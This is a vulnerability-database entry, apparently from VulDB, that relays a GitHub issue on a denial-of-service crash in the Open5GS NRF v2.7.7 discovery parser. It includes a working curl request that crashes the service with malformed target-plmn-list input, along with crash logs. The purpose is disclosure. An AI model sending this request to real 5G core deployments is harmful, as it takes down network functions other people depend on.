| タイトル | Open5gs NRF v2.7.7 Denial of Service |
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| 説明 | ### Open5GS Release, Revision, or Tag
v2.7.7
### Steps to reproduce
### Description
NRF crashes in the common discovery query parser when `target-plmn-list`
contains invalid JSON.
`ogs_sbi_discovery_option_parse_plmn_list()` calls
`ogs_sbi_parse_plmn_list(plmn_list, PlmnList)` even when JSON parsing fails and
`PlmnList` is still `NULL`, which triggers an assertion.
The same parser path is reused for `requester-plmn-list`, so the malformed
input variant is not limited to the `target-plmn-list` parameter.
### Steps to reproduce
```bash
curl --http2-prior-knowledge -m 5 -sS -i --get \
'http://10.33.33.3/nnrf-disc/v1/nf-instances' \
--data-urlencode 'target-nf-type=SMF' \
--data-urlencode 'requester-nf-type=AMF' \
--data-urlencode 'target-plmn-list=not-json'
```
Then check:
```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nrf
docker logs --since 2026-04-10T17:14:46Z nrf
```
### Logs
```shell
curl: (56) Recv failure: Connection reset by peer
exited 139 2026-04-10T17:15:01.063569023Z
04/10 17:15:00.963: [sbi] FATAL: ogs_sbi_parse_plmn_list: Assertion `PlmnList' failed. (../lib/sbi/conv.c:1180)
```
### Expected behaviour
NRF should reject malformed discovery query parameters with a `400 Bad Request` response and remain running.
### Observed Behaviour
The connection is reset and the NRF process exits with code `139`.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
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| ソース | ⚠️ https://github.com/open5gs/open5gs/issues/4458 |
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| ユーザー | LinJu (UID 97503) |
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| 送信 | 2026年04月20日 21:51 (2 月 ago) |
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| モデレーション | 2026年05月16日 12:08 (26 days later) |
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| ステータス | 承諾済み |
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| VulDBエントリ | 364317 [Open5GS 迄 2.7.7 NRF /lib/sbi/conv.c ogs_sbi_discovery_option_parse_plmn_list target-plmn-list サービス拒否] |
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| ポイント | 20 |
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